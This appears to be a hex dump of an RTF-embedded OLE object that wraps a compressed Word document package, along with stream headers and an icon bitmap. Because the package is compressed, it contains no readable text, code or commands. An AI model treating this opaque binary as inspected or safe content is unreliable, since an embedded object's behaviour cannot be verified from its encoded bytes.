4aa34c2cc2326bb5222b2995da7e40dcad148212fb31820a2d335ab2dc2c4a7dc97e88a8ac884a2808921ec27e2c2ae821c387e8a5a8207d907ae829e807dac09750a8f3dd99b33bf7a6b59a5067397bfecf9d3bdfccdcb188a89a6234d94b549910b353b610ad394ae42b5a5d4c64d1fb31444bd96fa4d8b46104ff71ed
658be8832b762e3892c247bcc40d2887d9c7ccede65a018ba6b09ec2ec49e978cba554a119b99b994b756e562081c6e87e530349517d06f7103d37e0b17ba9b13516660646456309018aea1349e969cc6b99c316de4c8dc3a4c71e252d8f276b1dd5d33eda4f55b4db95f5f7344e4b6bf688be1f4c25c1958ef8eb376dad
87b53efe38514163c7bbde4344d9a889b20fd3efc0a5f3a33fa37813b41f8e7ef7000253b853f5bd5a1e3e817e428fb3cbdb4d3bada5e12464e45ac349d32f7d9ac74f3b0dffe726ffa1e636a3ae4bf5df38abbc7dfb014a846f26a9b9c798451fcb60e15dc43f9a9c5824695bd6e67f859938426fda4b2bd97eaedef909
659ec59c840b3fb57c8926d95bc44175c9af6ff770fccc779f9d7f21229869ea56fd64aeefeafe43c10c127d301ec1ece679855959de62fbf91b5f0c0d3313936fbc866323e1fdafdf9ff760ea7a0a311a558c8b8f4a581e64b9966ad8b795f6984583200d790c93e7fde71930c445d26fc5298589bb5e3099aa6dd99742
26269853e997f348cdf1b38775dd66be6092fed9b98f6edc8f0f13b72e98607e22ff1a9381124df24ea3d663d3ed75f8277a7ac9b94fac07ce7d32584c6eb5fd1e932b3d4e4cb2ef0c8c09defd4ffaef704b8d23c7d4f11dd3df36cf7afebbcecebd2ccb995fb25ea3f3fa3222c1b28b5f838855332f615e45ce6f869cb1
1d764e88f1dfc5aba19657453515d8a7693d6b582b3bf9bf8a6d1f6b88efe0f84eb6f753986f08f3f997c74fc8a7792cfdb498653e6b8b6cb9907239be8f2ab91219b5ac63f58597622c604c28183aae16a30cff484387440c3ed8d0255772a45e72a4ceece17eaef8076be31978169e698e1f7e19773cebc48d29f81583
c8d731eaea0753c480297c03615acaba8fd4f8ccfe724ee0db94a2e342e6f734c83885f84cc073869ba2e744d184e85d0784fb10e49715ca1fd1325e9ad1d0e43c27747f39272a96297bb8ee40bde94d8e732271b9eadfdf3981f936f57472de67fc860dfcc4163c4ddb9d0f927e5813608943df66d44ff2fe6abbf3c1d2
0f4b022c71e85b8dfa34efafb63b1f8c3bfe0252f758dcf1e704182fe413a8b1107f8a633a6aa6e83ea8f10462f7fa64e6095a471cfa4f000000ffff0300504b030414000600080000002100575aa02c120400000c0c000011000000776f72642f73657474696e67732e786d6cb456db6ee336107d2fd07f30f45c47f275
1d779dc5da5e3759c4dd204e51a06f9438b289f02290941db7e8bf77488996160916718abc58d41cce99d1f070c61f3f3d09ded983364cc959d4bb48a20ec84c5126b7b3e88f87557712758c259212ae24cca22398e8d3d5cf3f7d3c4c0d588bdb4c0729a4998a6c16edac2da6716cb21d08622e540112c15c69412cbeea
6d2c887e2c8b6ea644412c4b1967f618f793641cd5346a16955a4e6b8aae60995646e5d6b94c559eb30cea47f0d0af895bb92c55560a90d6478c3570cc4149b36385096ce2ad6c08ee02c9fe471fb1173cec3bf492577cee41697af2784d7acea1d02a0363f080040f0932d9041e3e233ac5bec0d8f5277a2a74ef257ed5
ce7c741e41ff19c13883a7f3382635478c9e6d1e46cfe3199f785853d8def86dc9b408687916457f10f2700fe7dee232d4d2dd7974e18c62e74b2cd911735264c598f3f318872dc64a605c658f6d4e38af68a313e1513467689ea7f582aa2be896a59ae8aa67d49216d9f4662b952629c77450da1d5467c767e77ef190dd
c32fe1c9db5d6deb45cedd024b7f852d6dcfe0d0c107c1840e9046b13352c849c9ed034937561501fe904c2a78772c76207d23f90b5b64c087fda4c2b31dd124b3a03705c9f03a2e94b45af1b08faadf955d603bd4785b2b0f43f670a7c12573c7325b6aa8887ccf74abd2c0eacb2d39aad2b6904dd58f9158128185f8ae
c7ae15c58689ae9abdfec49c834fb237aabfe5c5400ae78766141edc016cec91c30abf71c3fe86cf927e2d8d65c8e80bf43f32f85102587e8cfc0d25f3702c6005c4d5ccbc53307f602bce8a35d35ae91b497104bc5b3096e7a031002316d6a842a6d5c1d7f91a08c5b1fd4e7151617fe266bcb1830754efe35c59abc475
23f5b7c7f5d7226ecb19ff7c501316f74ad9d3d6643e49c6f34195a9431b24b91c2c2e972f21bd254e9bfaebbe471ab6f814554cdde0bed361e5a4db1195c782885433d259bbd11ebb1da97e9c3319f014b03f411bd9946900bbdd0a308270bec22206c017404c2933c51272bfe66ba2b70d6fbd43bf68c576f4f5c495a1
3440ffa6555954e84193a29264d8d21b0e6b4f26ed2d13c16eca7413bc2476d416544afa6daf7d9d9af21ca6168fd85fed5be2a5e2f716b63bbfafa5c4f5c6c900d6a4282a35a5dbde2ce26cbbb33d27008b6f14ff01fa9774dbafb1bec7fa15e65f48e6be0c77d78bc6d60fb6d6be41b00d1adb30d8868d6d146ca3c636
0eb6b1b3613307cd997c446187a5b3e78a7375007adde0cf4cf5b470ede14666bca4806aa02a333772637188d5c324632888cd51a4cd0cf8a572e5cce0452c705c58a503f6abc77a233f47acbf8c58da7bc8e7c400ad318c72e386dca8f2f967b2582d3f0fbe2cba8364927487abf1b23bbf4c96ddd562355e2c16fd0f97
97f37feb7b10fec65ffd070000ffff0300504b03041400060008000000210080b488dc7a0c0000b87600000f000000776f72642f7374796c65732e786d6cbc9d5b73dbba11c7df3bd3efc0d153fbe0c817594e3cc7e78ced24b5a771e21339cd334442126a92507989ed7efa022029415e82e2825bbfd812c5fd11c4ee7f
81e5f5b73f9e9338f8c5b35cc8f46274f4ee7014f0349491489717a31f0f9f0fde8f82bc6069c46299f28bd10bcf477ffcfed7bffcf6749e172f31cf030548f3f324bc18ad8a627d3e1ee7e18a272c7f27d73c553f2e6496b0427dcd96e384658fe5fa2094c99a15622e6251bc8c8f0f0fa7a31a93f5a1c8c54284fca30c
cb84a785b11f673c564499e62bb1ce1bda531fda93cca27526439ee76aa793b8e2254ca41bccd1048012116632978be29dda99ba4506a5cc8f0ecda724de024e718063009886fc19c7785f33c6cad2e68808c7996e3822b2387e8db1005189421c9f34edd0ffb4b9c5caa3225ae1708d8fc6da96156cc5f2d52e7111e388
138b5805582cc3479bc9719d76ba01be24da8749787ebb4c65c6e6b122a9a80c54600506acff2affe87fe6237f36cb75b7d41f16b1fea07aed7725dd48861ff982957191ebafd97d567fadbf997f9f655ae4c1d339cb43211e547bd54613a1b67f7399e662a47ee12c2f2e73c1ec1f3fd5cbf4ef2bbd62ab659817d6e22b
1189d1586ff49167a9faf917537d7f5c2dcaffbb593069965ceb76ed2c8b59ba6c96ad8b83abef76fbac4573b5a98b11cb0e6697c6f068721e8b252bca4ca532fdcd10aa8c9745d7aa0bf87351b258af3caefba6fa6ff5d8faf537d3ca350b8569145b145c25b6a3e9a16e412c741e3d3e7bdf7cf95e6a77b2b290f5460c
a0fabfc18e81d354be53d96f562561f52b5f7c51e1c6a359a17eb818996da9853f6eef33213395682f461f3ed40b673c1137228a786aad98ae44c47fae78fa23e7d176f99f9f4d2cd70b4259a6eaf3c9d9d404529c479f9e43bed6a957fd9a32edd3afda20d66b9762bb7163fe9f067654bbadcd7ec5991e7f82a3d708d3
7c14e2585be4d6deb633cb57fb6ed6426de8e4ad363479ab0d9dbed586a66fb5a1b3b7da9091f65b6cc860fe9f1b1269a48612b33edc0ca0eee338d488e638c486e638b484e638a482e6389480e638021dcd71c4319ae3085304a790a12b0aad603f71447b3777ff18e1c7dd3f24f871f78f007edcfd09df8fbb3fbffb71
f7a7733feefeecedc7dd9facf1dc6aaa15dc2a99a5c560952da42c5259f0404f7a07d358aa58a628a7e1e9418f67243b4980a9325b3d100fa685cc7cdf1f2146a4fee379a16bc7402e828558ea926770c379fa8bc772cd0316458a4708ccb82aca1c3de213d3195ff08ca721a70c6c3aa8ae0483b44ce604b1b9664b3216
4f23e2ee6b8824496113d0aa7e5e69910882a04e5898c9e14d938c2c3f7c11f9f0bed290e0aa8c634ec4fa4a13628635bc363098e1a581c10caf0c0c66786160f98caa8b6a1a514fd534a20eab6944fd56c52755bfd534a27eab6944fd56d386f7db83286293e2ed59c751ff6377d7b1d4a75106b7632696a9392a3b9854
1f330dee59c696195baf027d60bb1d6bef33763b57327a091e28c6b40d896a5e6f42441fcb166939bc43776854e2daf088e4b5e111096cc31b2eb13b354dd613b41b9a7a6656ce8b56d11a522fd1ce585c5613dae16a63c5f008db0ae0b3c8723219b4630922f8ab9ece6a775264be6d2b87376ccb1a2eabd75989b47935
92a095fa9c2b4d1abe7959f34c95658f83499f651ccb271ed111674526ab58b3257f6c5cd24bf29f92f58ae5c2d44a3b88fe437d73014670c7d68377e83e6622a5f1dba783848938a09b41dc3cdc7d091ee45a9799ba63688057b2286442c6ac8f04feed279fff9da68197aa084e5f88f6f692e8f090815d0b8241a622c9
8888a4a69922152463a8e1fd93bfcc25cb221ada7dc6ab4b520a4e449cb1645d4d3a08b4a5f2e293ca3f04b321c3fb17cb843e2e4425aa07129875d8302fe7ffe6e1f054f75506244786be958539fe68a6bac69a0e377c9ab0831b3e4530de54c3838e5f829dddc10ddfd91d1cd5ce5ec72ccf85f314aa378f6a771b1ef5
fe0e2ffe6a9e8c65b62863ba0e6c80643dd800c9ba50c66592e6947b6c78843b6c78d4fb4b183286477048cef0fe918988cc190646e50903a372838151f9c0c0481d30fc0a1d0b36fc321d0b36fc5a9d0a463405b0605471463afc139de5b160547166605471666054716660547176f231e08b859a04d30d3116922ae62c
24dd4093163c59cb8c652f44c84f315f328203a415ed3e930b7d338c4cab8bb80990fa18754c38d9ae70544efec9e7644dd32cca76111c1165712c25d1b1b5ed80632c77af5ddb6766ee0419dc84fb98857c25e388678e7d72dbaa7a7956dd96f1baf9a619bd0e7b7e11cb5511cc569ba3fd36667ab8d7b229d877ccf66f
b0adcfa7f52d32ad66773c1265d23414de4c313de96f6c227ac7b8b9eda6c3783b93d8b13ced6909b739dd6fb99d25ef589ef5b484db7cdfd3d2e874c7b24b0f1f59f6d81a08675df1b3a9f11cc177d615451be3d6cd7605d2c6b22d04cfbaa268472ac16518eab305d03bfd34e3b6ef271eb73d46456e0a464e6e4a6f5d
b9115d02fbce7f093db26392a6d9dee6ea0990f7cd24ba57e6fcb394d571fb9d134efd6feaba5513a734e7412be7a4ff89ab9d2ce3eec7dee9c68de89d77dc88de09c88de895899ce6a894e4a6f4ce4d6e44ef24e546a0b3151c1170d90adae3b215b4f7c95690e293ad06cc02dc88ded30137022d5488400b75c04cc18d
400915987b091552d0428508b45021022d543801c30915dae3840aed7d840a293e428514b45021022d5488400b1522d0428508b4503de7f64e732fa1420a5aa81081162a44a0856ae68b03840aed714285f63e4285141fa1420a5aa81081162a44a0850a1168a142045aa81081122a30f7122aa4a0850a1168a142045aa8
d5ad86fe4285f638a1427b1fa1428a8f5021052d5488400b1522d0428508b45021022d5488400915987b091552d0428508b45021022d5473b2708050a13d4ea8d0de47a890e2235448410b1522d0428508b45021022d5488400b1522504205e65e428514b45021022d5488e88acffa14a5eb32fb23fc514fe715fbfd4f5d
d58dfa6edfca6da34efaa39a56b959fdef45b892f23168bdf1f0c4d41bfd20621e0b690e513b4eabdb5c734904eac4e7b7ebee3b7c6cfac0872ed5f7429873a6003ee96b098ea94cba42deb60445dea42bd26d4b30eb9c74655fdb120c8393aea46b74d95c94a2862360dc95662ce323877957b6b6cc611777e568cb10f6
705766b60c610777e563cbf034d0c9f9b5f569cf7e9a6eae2f0584ae70b408676e425758425f35e9180aa3afd3dc84bede7313fabad14d40f9d389c13bd68d427bd88df273359419d6d5fe427513b0ae86042f57038cbfab21cadbd510e5e76a9818b1ae8604acabfd93b39be0e56a80f177354479bb1aa2fc5c0d8732ac
ab2101eb6a48c0ba7ae080ecc4f8bb1aa2bc5d0d517eae86933bacab2101eb6a48c0ba1a12bc5c0d30feae86286f5743949fab41958c763524605d0d095857438297ab01c6dfd510e5ed6a88ea72b5398ab2e36a94872d73dc24cc32c40dc896212e395b861ed59265ed592d5904cf6a09faaaf139ae5ab29de626f4f59e
9bd0d78d6e02ca9f4e0cdeb16e14dac36e949fab71d5529babfd85ea26605d8dab969caec6554b9daec6554b9daec6554b6e57e3aaa53657e3aaa53657fb276737c1cbd5b86aa9d3d5b86aa9d3d5b86ac9ed6a5cb5d4e66a5cb5d4e66a5cb5d4e6ea8103b213e3ef6a5cb5d4e96a5cb5e47635ae5a6a7335ae5a6a7335ae
5a6a7335ae5a72ba1a572d75ba1a572d75ba1a572db95d8dab96da5c8dab96da5c8dab96da5c8dab969caec6554b9daec6554b9daec6554b77ca44103c026a96b0ac08e89e1777c3f255c1863f9cf0479af15cc6bf7814d0eeea17d45e8e9f765e7fa5d9e66d846afd42f5997e02ba75bb52543d01b6069a156fa3cd6baa
b4b16e4950bf3dac5e6c1a5c9fae359fc16bbdea17799d9a0871bfc80bbe50adedb569d59bd1cc86ec77a0d50ab0de81b6792b9af50eb42622ab77a06ddf7ac6d3831f33f35bfb6bce5299f2baa9cd8bcd4cefc0fe0c57aa43c3fa015d8efeac1fb4bbb953cc3c66f775ef3a9ec66bdabf5559b3761d37dba0a8d6db0989
aafd8e76175ad51d6d36aaef0c842a31b81af8a1ce74fb5aa8da338fab30501f6ed348019eea77a2552d8d9e598552bf5ff338be63d5da72ed5e35e68ba2faf5e8d03c97e1d5eff3ea11834efbcc8c454ec078b731d5d7ee38a95e3a505f24e1d49d4eb82ddd6daed819dad3eeb6ede484b0cc55d798f4f1ba7d492e53e3
fa43d0c6cd4f75ff32b5cd6f1bb1da9903648bb97e009fded6a1f144f5f552e58a7a95ba15cdbb02abb5cc37b8529d79269bf709f6cd3ce6558e2aea45a2d2c057fe147c97093329bcd7ab1c5b2dc31c2e7e9db4f6bfb8f1f5ab1a5bb352f329fffd7f000000ffff0300504b03041400000008008b81265b3eb79aeaeb01
0000ad05000014000000776f72642f77656253657474696e67732e786d6cadd4ef6adb301000f0ef85be8330ec6363276b43304dcacac8288c32d6ee0114f91c8b483a23c975d3a7dfc9b65a970c56433f597f7c3f9dce92af6f9eb5624f609d44b34ee6b32c61600416d2ecd7c99fc7edc52a61ce7353708506d6c9115c
72b3393fbb6ef316760fe03dbde91829c6e55aac93cafb3a4f53272ad0dccdb0064393255acd3d75ed3ed5dc1e9afa42a0aeb9973ba9a43fa68b2c5b2603633fa260594a01df51341a8cefe2530b8a4434ae92b58b5afb11ad455bd416053847fbd1aaf32853695e99f9e509a4a5b0e8b0f433dacc90514751f83ceb5a5a
bd0157d380c509b014f03ccd580d464a91634716d39c65742872e44c4356a71b2a9a49c4e2eb40748f103eb25ce18b6a1a97452ec472cf2beeaaf762a9a6899723b13f600ac5616cc224707ef50a1e75f8865ae4777b8396ef1449742a191d2cd6c1acffb2e1c1fac3c2625958dc0d3542d536747f4bcb3538f0e3f6434d
b771c76d1813a8d0b2367fe25403de784cd2306cf0961202db754aba707dd7513ffd17348cfde4476c7ce42cb68eb8f3b3381dde732f713afbd2afe5b0b102b652c13dbdc36c1eceadbd2be6c334d54d295a25c651ed6292bfc1c917f8a614b65074634a9a03148f18b851b294c47fd3f89475fad65bcdb1f65253ec16ed
6da8c750521ea85ff73f42e8bb9fece62f504b030414000600080000002100841f20b30d0200002907000012000000776f72642f666f6e745461626c652e786d6cbc93db8adb301086ef0b7d07a3fb8d65e7b069d864e9610385d28b65fb008a2cc76275301a254edebe23d94e5dc2c2ba85f8c21afda3f92cfd1a3f3c9e
b44a8ec281b4664db209258930dc16d2ecd7e4d7cbf66e4912f0cc144c5923d6e42c803c6e3e7e786856a5351e12ac37b0d27c4d2aefeb559a02af846630b1b530982cadd3cce3d4ed53cddceba1bee356d7cccb9d54d29fd39cd205e930ee3d145b96928b6f961fb4303ed6a74e28245a0395aca1a735efa135d615b5b3
5c00e099b56a799a4973c164b32b9096dc59b0a59fe061ba1d4514966734465afd01ccc701f22bc0828bd338c6b263a45839e4c8621c6771e1c862c0f9b7cd0c00c56114229ff6fb0843281fb0a0f045350ed7df511a6a99671583ea6f62a9c611670362db60caf2d721538c336d7e019e75b843cd57dff7c63ab65348c2
ae4cb0b192080e6fbc9f30c4509ca21e6ce9825285005ddb747f6ed2ac0cd308faca94dc3919133533164486b923c3e3a34d5b3aa7c1ae9ccee834bc491a16f28a391001d22ea4ad5c322dd5b957a191006da2969e57bd7e644e8643b429907b4c1c6047d7e489529a3f6db7a45532dc5d5066f75f3a250fdf8acfa74e99
5e141a141e39719ab51c1e399735f8cdb475e0ca8917a905243f45933c5bcdcc1b8ee474814eccd18fe0cc7494232e72ffdf91fbe5fc268e74bd91fc90fbcabfd921a12f6eda219f6fd6215d009bdf000000ffff0300504b0304140000000800b398245ba949e6f961010000d902000011000000646f6350726f70732f63
6f72652e786d6c95925f4fc23014c5df4dfc0e4bdf47b7e11f5cb691a8e1491213311adf6a7b81cad6356d61ecdbdb16d81078f1adf79e737eb9bd6d36de5665b001a5792d72140f221480a035e36291a3f7d9241ca1401b2218296b01396a41a371717d955199d25ac1abaa2528c341079624744a658e96c6c814634d97
50113db00e61c579ad2a626ca9165812ba220bc04914dde10a0c61c410ec80a1ec88688f64b443cab52a3d80510c2554208cc6f120c6bdd780aaf4c580578e9c1537ad848bd683d8b9b79a77c6a66906cdd059ddfc31fe9cbebcf9ab865cb85d514045c6686ab829a1c8707fb427bdfefe016a7cbb2fec992a20a656c5d6
2a7de5f6bc82b6a915d3367354f910034d1597c6be9e55ff367cb624da4ced73ce39b0c7d6c1cf9adea760c3b50b25ced197d97ea1bb8180057611e96e6d07e563f8f43c9ba0228992248c6ec278388b1fd2dbfb348abe327c92ef81951fe03fc4d18e780ab0173ffb8cc52f504b0304140006000800000021003cff07a7
70010000c702000010000801646f6350726f70732f6170702e786d6c20a2040128a00001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000009c52cb4ec33010bc23f10f51eead530405aaad2bd40a71e02535d0b3656f120bc7b66cb7a27fcf864008e2864f3bb3ded1ccdab07a6f4d76c010b5b3cb7c362df20cad744adb7a99bf94b793ab3c8b4958258cb3b8cc
8f18f3153f3d81e7e03c86a431662461e3326f52f20bc6a26cb015714a6d4b9dca85562482a166aeaab4c48d93fb166d6267453167f89ed02a54133f08e6bde2e290fe2baa9cecfcc5d7f2e8498f4389ad3722217fec26cd54b9d4021b58285d12a6d42df219d10380675163ecb8be809d0b2af26b607d01eb46042113ed
8f9f133b8270e3bdd152245a2c7fd032b8e8aa943d7dbacdba7160e32b4009b628f741a7232f808d21dc6bdbdbe80bb215441d846fbebc0d08b652185c53765e091311d80f016bd77a61498e0d15e9bdc5175fba4db786af91dfe428e34ea766eb85240b1797e3b4a3066c894545f60707030177f41cc174f2346b6b54df
77fe36bafdbdf6ff92cfe6d382cee7c2be398a3d7c18fe010000ffff0300504b03041400000008007184265bb16ddc5dde0000006f0100001f000000776f72642f5f72656c732f77656253657474696e67732e786d6c2e72656c738dd04d4b03311006e0bbe07f08737767eb41a434edc12af4e0455a3c0fc9ec6e707712
3251b7ffde8054547ae8317999673e569b791acd07670d512c2c9a160c8b8b3e486fe1b07fbab907a385c4d318852d1c5961b3bebe5abdf048a516e910929aaa885a184a494b4475034fa44d4c2c35e9629ea8d467ee31917ba39ef1b66def30ff36a0aaff5cb3f316f2ce2fc0ec8f892ff163d705c7dbe8de279672a60d
769926ae20e59e8b852e8c5c497c58e26b101f3f157da05ea296e014eb17cfa7e4903c15defec44d6d7e929ea3af033ece85b3d008f8bd0dfe39d3fa0b504b01022d001400060008000000210017ab2f2c66010000540500001300000000000000000000000000000000005b436f6e74656e745f54797065735d2e786d6c
504b01022d00140006000800000021004b2045b8fe000000de0200000b000000000000000000000000009f0300005f72656c732f2e72656c73504b01022d0014000600080000002100f3cd68d0900300004b0d00001100000000000000000000000000ce060000776f72642f646f63756d656e742e786d6c504b01022d00
14000600080000002100d664b351f4000000310300001c000000000000000000000000008d0a0000776f72642f5f72656c732f646f63756d656e742e786d6c2e72656c73504b01022d0014000600080000002100b6f46798d2060000c92000001500000000000000000000000000c30c0000776f72642f7468656d652f74
68656d65312e786d6c504b01022d001400060008000000210027b5c3aaba030000e00c00001600000000000000000000000000c8130000646f6350726f70732f7468756d626e61696c2e656d66504b01022d0014000600080000002100575aa02c120400000c0c00001100000000000000000000000000b6170000776f72
642f73657474696e67732e786d6c504b01022d001400060008000000210080b488dc7a0c0000b87600000f00000000000000000000000000f71b0000776f72642f7374796c65732e786d6c504b01023f001400000008008b81265b3eb79aeaeb010000ad05000014002400000000000000200000009e280000776f72642f
77656253657474696e67732e786d6c0a0020000000000001001800f846f82b621fdc0100000000000000000000000000000000504b01022d0014000600080000002100841f20b30d020000290700001200000000000000000000000000bb2a0000776f72642f666f6e745461626c652e786d6c504b01023f001400000008
00b398245ba949e6f961010000d90200001100240000000000000020000000f82c0000646f6350726f70732f636f72652e786d6c0a00200000000000010018006fac110be81ddc0100000000000000000000000000000000504b01022d00140006000800000021003cff07a770010000c702000010000000000000000000
00000000882e0000646f6350726f70732f6170702e786d6c504b01023f001400000008007184265bb16ddc5dde0000006f0100001f002400000000000000200000002e310000776f72642f5f72656c732f77656253657474696e67732e786d6c2e72656c730a002000000000000100180005dc9869651fdc010000000000
0000000000000000000000504b0506000000000d000d00be030000493200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002000300000005000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000
000003000000060000000000000002004f006c006500500072006500730030003000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000201ffffffff06000000ffffffff0000000000000000000000000000000000000000000000000000000000000000
0000000004000000460f0000000000005200690063006800450064006900740046006c0061006700730000000000000000000000000000000000000000000000000000000000000000000000000000001c000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000
000000000000420000000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fffffffff800000ff800000ff800000ff800000ff800000ff800000ff800000f8000000f8000000f8000000f8000000f8000000f8000
000f8000000f8000000f8000000f8000000f8000000f8000000f8000000f8000000f8000000f8000000ff800000ff800001ff800003ff800007ff80000fff80001fff80003ffffffffff21060000410b46006600200020000000000020002000000020002800000020000000200000000100180000000000000c00000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000082
8386747779747779747779747779747779747779747779747779747779747779747779747779747779747779747779747779747779747779747779747779747779828386000000000000000000000000000000000000000000000000000000747779fafafafafafafafafafafafafafafafafafafafafafafafafafafafa
fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa747779000000000000000000000000000000000000000000000000000000747779fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa
fafafafafa747779000000000000000000000000000000000000000000000000000000747779fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa74777900000000000000000000000000000000000000000000
0000000000747779fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa747779000000000000000000000000000000000000000000000000000000747779fafafafafafafafafafafafafafafafafafafafafafa
fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa747779000000000000000000000000000000000000000000000000000000747779fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa
fafafafafafafafafafafa747779000000000000000000000000000000bc5a17bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18e3bea5fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa747779000000000000000000000000000000bd
5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa747779000000000000000000000000000000bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd
5a18bd5a18bd5a18bd5a18bd5a18bd5a18fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa747779000000000000000000000000000000bd5a18bd5a18bd5a18bd5a18fbf5f1ffffffd28e60bd5a18bd5a18d28e60fffffffbf5f1bd5a18bd5a18bd5a18bd5a18fafafafafafafafafafafafafa
fafafafafafafafafafafafafafafafafa747779000000000000000000000000000000bd5a18bd5a18bd5a18c56f35ffffffffffffe2b79abd5a18bd5a18e2b79affffffffffffc56f35bd5a18bd5a18bd5a18fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa74777900000000000000000000
0000000000bd5a18bd5a18bd5a18d28e60fffffffffffff7ebe3bd5a18bd5a18f7ebe3ffffffffffffd28e60bd5a18bd5a18bd5a18fafafabd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18fafafafafafa747779000000000000000000000000000000bd5a18bd5a18bd5a18dead8cffffffffffffffffffc97943c5
6f35fffffffbf5f1ffffffdead8cbd5a18bd5a18bd5a18fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa747779000000000000000000000000000000bd5a18bd5a18bd5a18ebccb7ffffffe2b79affffffdead8cdaa27dffffffebccb7ffffffebccb7bd5a18bd5a18bd5a18fafafad37c2bd3
7c2bd37c2bd37c2bd37c2bd37c2bd37c2bfafafafafafa747779000000000000000000000000000000bd5a18bd5a18bd5a18f7ebe3ffffffc16426fffffff3e1d4ebccb7ffffffc56f35fffffff7ebe3bd5a18bd5a18bd5a18fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa74777900000000
0000000000000000000000bd5a18bd5a18c16426fffffffbf5f1bd5a18ebccb7fffffffffffff7ebe3bd5a18f3e1d4ffffffc16426bd5a18bd5a18fafafaeea541eea541eea541eea541eea541eea541eea541fafafafafafa747779000000000000000000000000000000bd5a18bd5a18ce8352ffffffefd6c6bd5a18da
a27dffffffffffffe2b79abd5a18e6c2a9ffffffce8352bd5a18bd5a18fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa747779000000000000000000000000000000bd5a18bd5a18dead8cffffffdead8cbd5a18c56f35ffffffffffffd28e60bd5a18daa27dffffffdead8cbd5a18bd5a18fa
fafafafafafafafafafafafafafafafafafafafafafafafafafafafafa747779000000000000000000000000000000bd5a18bd5a18e6c2a9ffffffd28e60bd5a18bd5a18f7ebe3ffffffc16426bd5a18ce8352ffffffe6c2a9bd5a18bd5a18fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa74
7779000000000000000000000000000000bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa747779000000000000000000000000000000bd5a18bd5a18bd5a18bd5a18bd
5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa747779000000000000000000000000000000bc5a17bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd5a18bd
5a18e3bea5fafafafafafafafafaa6a8a9747779747779747779747779747779747779747779000000000000000000000000000000000000000000000000000000747779fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa747779fafafafafafafafafafafafac8
c9c974777974777a000000000000000000000000000000000000000000000000000000747779fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa747779fafafafafafafafafac8c9c974777974777a00000000000000000000000000000000000000000000000000
0000000000747779fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa747779fafafafafafac8c9c974777974777a000000000000000000000000000000000000000000000000000000000000000000747779fafafafafafafafafafafafafafafafafafafafafafa
fafafafafafafafafafafafafafafafafafafafa747779fafafac8c9c974777974777a000000000000000000000000000000000000000000000000000000000000000000000000747779fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa747779c8c9c974777974
777a000000000000000000000000000000000000000000000000000000000000000000000000000000747779fafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafafa74777974777974777a00000000000000000000000000000000000000000000000000000000000000
000000000000000000000082838674777974777974777974777974777974777974777974777974777974777974777974777974777974777974777974777a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
